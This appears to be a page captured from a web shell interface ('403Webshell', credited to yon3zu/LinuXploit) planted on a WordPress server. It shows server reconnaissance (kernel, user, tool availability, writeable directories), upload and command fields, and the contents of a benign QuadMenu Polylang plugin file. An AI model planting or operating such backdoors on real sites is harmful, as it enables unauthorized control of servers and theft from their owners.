403Webshell
Server IP : _  /  Your IP : 169.254.129.1
Web Server : nginx/1.28.0
System : Linux 89e302d72aa1 6.6.143.1-1.azl3 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 04:01:14 UTC 2026 x86_64
User : nginx ( 103)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/plugins/quadmenu/includes/3rd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wordpress/wp-content/plugins/quadmenu/includes/3rd/polylang.php
<?php

if (!defined('ABSPATH')) {
  die('-1');
}

if (defined('POLYLANG_BASENAME')) {

  class QuadMenu_Polylang {

    public function __construct() {
      add_action('init', array($this, 'locations'), -11);
      add_action('init', array($this, 'active'), -9);
    }

    function locations() {

      global $quadmenu, $quadmenu_locations, $quadmenu_active_locations;

      if (function_exists('pll_languages_list')) {
        foreach (pll_languages_list() as $lang) {

          foreach ($quadmenu_locations as $id => $location) {

            if (strpos($id, "___{$lang}") !== false) {
              unset($quadmenu_locations[$id]);
            }
          }
        }
      }
    }

    function active() {

      global $quadmenu, $quadmenu_locations, $quadmenu_active_locations;

      if (function_exists('pll_languages_list')) {

        foreach ($quadmenu_active_locations as $id => $theme) {

          foreach (pll_languages_list() as $lang) {

            if (strpos($id, "___{$lang}") === false) {
              $quadmenu_active_locations["{$id}___{$lang}"] = $quadmenu_active_locations[$id];
            }
          }
        }
      }
    }

  }

  new QuadMenu_Polylang();
}

Youez - 2016 - github.com/yon3zu
LinuXploit